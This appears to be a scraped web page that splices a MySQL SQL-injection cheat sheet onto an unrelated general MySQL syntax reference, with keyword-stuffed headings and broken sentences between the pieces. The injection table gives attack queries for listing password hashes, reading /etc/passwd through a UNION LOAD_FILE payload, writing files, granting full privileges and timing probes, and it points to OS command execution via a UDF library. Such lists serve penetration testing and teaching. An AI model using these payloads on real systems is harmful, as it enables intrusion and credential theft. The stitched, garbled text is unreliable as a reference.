Mysql Cheat Sheet



Some useful syntax reminders for SQL Injection into MySQL databases…

This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

The complete list of SQL Injection Cheat Sheets I’m working is:

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

Sql Command Cheat Sheet Pdf

Mysql cheat sheet pdf 2016

Cheat sheet MySQL is easy to use and its syntax is easier to remember and the queries cane written easily. It can be used with any web technology to store the data. It is secure and faster to perform. Its structure is easy to work on and understand. The simple language is used which makes it easier to learn for the beginners. This MYSQL cheat sheet assumes that MySQL is already installed, and there is a MySQL Server accessible for connection. MySQL Cheat Sheet 1. Mysql This prompt indicates ready for a new query.- Next line of a multi-line query ` Continues to.

  • Pentest Monkey’s MySQL injection cheat sheet Ferruh Mavituna’s cheat sheet Kaotic Creations’s article on XPath injection Kaotic Creations’s article on double query injection. Some other resources I recommend are: DVWA – great test bed SQLZoo – another great (online) test bed.
  • CREATE INDEX idxname ON t(c1,c2); Create an index on c1 and c2 of the table t MANAGING INDEXES CREATE VIEW v(c1,c2) AS SELECT c1, c2 FROM t; Create a new view that consists of c1 and c2.
Mysql Cheat Sheet
VersionSELECT @@version
CommentsSELECT 1; #comment
SELECT /*comment*/1;
Current UserSELECT user();
SELECT system_user();
List UsersSELECT user FROM mysql.user; — priv
List Password HashesSELECT host, user, password FROM mysql.user; — priv
Password CrackerJohn the Ripper will crack MySQL password hashes.
List PrivilegesSELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA AccountsSELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current DatabaseSELECT database()
List DatabasesSELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
List ColumnsSELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List TablesSELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column NameSELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth RowSELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth CharSELECT substr(‘abcd’, 3, 1); # returns c
Bitwise ANDSELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value -> CharSELECT char(65); # returns A
Char -> ASCII ValueSELECT ascii(‘A’); # returns 65
CastingSELECT cast(’1′ AS unsigned integer);
SELECT cast(’123′ AS char);
String ConcatenationSELECT CONCAT(‘A’,'B’); #returns AB
SELECT CONCAT(‘A’,'B’,'C’); # returns ABC
If StatementSELECT if(1=1,’foo’,'bar’); — returns ‘foo’
Case StatementSELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding QuotesSELECT 0×414243; # returns ABC
Time DelaySELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12
Make DNS RequestsImpossible?
Command ExecutionIf mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP AddressSELECT @@hostname;
Create UsersCREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete UsersDROP USER test1; — priv
Make User DBAGRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
Location of DB filesSELECT @@datadir;
Default/System Databasesinformation_schema (>= mysql 5.0)
mysql
Mysql Cheat Sheet

Thanks

Jonathan Turner for @@hostname tip.

Tags: cheatsheet, database, mysql, pentest, sqlinjection

Posted in SQL Injection


Mysql Cheat Sheet Pentestmonkey

Here are the most commonly used SQL commands and the mostcommonly used options for each.There are many more commands and options than listed here.In other words, the syntaxes as I have listed them are farfrom complete.See the links at the bottom for more complete syntaxes and morecommands.Mysql cheat sheet github
MySQL Command-Line
WhatHowExample(s)
Running MySQLmysql -uusername -ppasswordmysql -ucusack2RO -pegbdf5s
Importingmysql -uusername -ppassword < filenamemysql -usomeDB -pblah < myNewDB.sql
Dumping
(Saving)
mysqldump -uusername -ppassworddatabase [tables] > filenamemysqldump -ume -pblah myDB > My.sql
mysqldump -ume -pblah myDB table1
table2 > my.sql
Common MySQL Column Types
PurposeData TypeExample
Integersint(M)int(5)
Floating-point (real) numbers float(M,D)float(12,3)
Double-precision floating-pointdouble(M,D)double(20,3)
Dates and timestimestamp(M)timestamp(8) (for YYYYMMDD)
timestamp(12) (for YYYYMMDDHHMMSS)
Fixed-length stringschar(M)char(10)
Variable-length stringsvarchar(M)varchar(20)
A large amount of textblobblob
Values chosen from a listenum('value1',value2',...)enum('apples','oranges','bananas')
M is maximum to display, and D is precision to the right of the decimal.
MySQL Mathematical Functions
WhatHow
Count rows per groupCOUNT(column | *)
Average value of groupAVG(column)
Minumum value of groupMIN(column)
Maximum value of groupMAX(column)
Sum values in a groupSUM(column)
Absolute valueabs(number)
Rounding numbersround(number)
Largest integer not greaterfloor(number)
Smallest integer not smallerceiling(number)
Square rootsqrt(number)
nth powerpow(base,exponent)
random number n, 0<n < 1rand()
sin (similar cos, etc.)sin(number)
MySQL String Functions
WhatHow
Compare stringsstrcmp(string1,string2)
Convert to lower caselower(string)
Convert to upper caseupper(string)
Left-trim whitespace (similar right)ltrim(string)
Substring of stringsubstring(string,index1,index2)
Encrypt passwordpassword(string)
Encode stringencode(string,key)
Decode stringdecode(string,key)
Get datecurdate()
Get timecurtime()
Extract day name from date stringdayname(string)
Extract day number from date stringdayofweek(string)
Extract month from date stringmonthname(string)
Basic MySQL Commands
WhatHowExample(s)
List all databasesSHOW DATABASES;SHOW DATABASES;
Create databaseCREATE DATABASE database;CREATE DATABASE PhoneDB;
Use a databaseUSE database;USE PhonDB;
List tables in the databaseSHOW TABLES;SHOW TABLES;
Show the structure of a tableDESCRIBE table;
SHOW COLUMNS FROM table;
DESCRIBE Animals;
SHOW COLUMNS FROM Animals;
Delete a database (Careful!)DROP DATABASE database;DROP DATABASE PhoneDB;
SQL Commands: Modifying
WhatHowExample(s)
Create tableCREATE TABLE table (
column1type [[NOT] NULL]
[AUTO_INCREMENT],
column2type [[NOT] NULL]
[AUTO_INCREMENT],
...
other options,
PRIMARY KEY (column(s)) );
CREATE TABLE Students (
LastName varchar(30) NOT NULL,
FirstName varchar(30) NOT NULL,
StudentID int NOT NULL,
Major varchar(20),
Dorm varchar(20),
PRIMARY KEY (StudentID) );
Insert data INSERT INTO table VALUES
(list of values);
INSERT INTO table SET
column1=value1,
column2=value2,
...
columnk=valuek;
INSERT INTO table (column1,column2,...)
VALUES (value1,value2...);
INSERT INTO Students VALUES
('Smith','John',123456789,'Math','Selleck');
INSERT INTO Students SET
FirstName='John',
LastName='Smith',
StudentID=123456789,
Major='Math';
INSERT INTO Students
(StudentID,FirstName,LastName)
VALUES (123456789,'John','Smith');
Insert/Select INSERT INTO table (column1,column2,...)
SELECT statement;
(See below)
INSERT INTO Students
(StudentID,FirstName,LastName)
SELECT StudentID,FirstName,LastName
FROM OtherStudentTable;
WHERE LastName like '%son';
Delete dataDELETE FROM table
[WHERE condition(s)];
(Omit WHERE to delete all data)
DELETE FROM Students
WHERE LastName='Smith';
DELETE FROM Students
WHERE LastName like '%Smith%';
AND FirstName='John';
DELETE FROM Students;
Updating DataUPDATE table SET
column1=value1,
column2=value2,
...
columnk=valuek
[WHERE condition(s)];
UPDATE Students SET
LastName='Jones' WHERE
StudentID=987654321;
UPDATE Students SET
LastName='Jones', Major='Theatre'
WHERE StudentID=987654321 OR
(MAJOR='Art' AND FirstName='Pete');
Insert columnALTER TABLE table ADD COLUMN
columntypeoptions;
ALTER TABLE Students ADD COLUMN
Hometown varchar(20);
Delete columnALTER TABLE table
DROP COLUMN column;
ALTER TABLE Students
DROP COLUMN Dorm;
Delete table (Careful!)DROP TABLE [IF EXISTS] table;DROP TABLE Animals;

Mysql Cheat Sheet Pdf

SQL Commands: Querying
WhatHowExample(s)
All columnsSELECT * FROM table;SELECT * FROM Students;
Some columnsSELECT column1,column2,... FROM table; SELECT LastName, FirstName FROM Students;
Some rows/
columns
SELECT column1,column2,...
FROM table
[WHERE condition(s)];
SELECT LastName,FirstName
FROM Students
WHERE StudentID LIKE '%123%';
No RepeatsSELECT [DISTINCT] column(s)
FROM table;
SELECT DISTINCT LastName
FROM Students;
Ordering SELECT column1,column2,...
FROM table
[ORDER BY column(s) [DESC]];
SELECT LastName,FirstName
FROM Students
ORDER BY LastName, FirstName DESC;
Column
Aliases
SELECT column1 [AS alias1],
column2 [AS alias2], ...
FROM table1;
SELECT LastName,FirstName AS First
FROM Students;
GroupingSELECT column1,column2,...
FROM table
[GROUP BY column(s)];
SELECT LastName,COUNT(*)
FROM Students
GROUP BY LastName;
Group FilteringSELECT column1,column2,...
FROM table
[GROUP BY column(s)]
[HAVING condition(s)];
SELECT LastName,COUNT(*)
FROM Students
GROUP BY LastName
HAVING LastName like '%son';
JoinsSELECT column1,column2,...
FROM table1,table2,...
[WHERE condition(s)];
SELECT LastName,Points
FROM Students,Assignments
WHERE AssignmentID=12 AND
Students.StudentID=Assignments.StudentID;
Table
Aliases
SELECT column1,column2,...
FROM table1 [alias1],
table2 [alias2],...
[WHERE condition(s)];
SELECT LastName,Points
FROM Students S,Assignments A
WHERE S.StudentID=A.StudentID AND
A.AssignmentID=12;
EverythingSELECT [DISTINCT]
column1 [AS alias1],
column2 [AS alias2], ...
FROM table1 [alias1],
table2 [alias2],...
[WHERE condition(s)]
[GROUP BY column(s)]
[HAVING condition(s)]
[ORDER BY column(s) [DESC]];
SELECT Points, COUNT(*) AS Cnt
FROM Students S,Assignments A
WHERE S.StudentID=A.StudentID AND
A.AssignmentID=12
GROUP BY Points
HAVING Points > 10
ORDER BY Cnt, Points DESC;

Mysql Cheat Sheet Github

For more details, see the following pages from MySQL.com.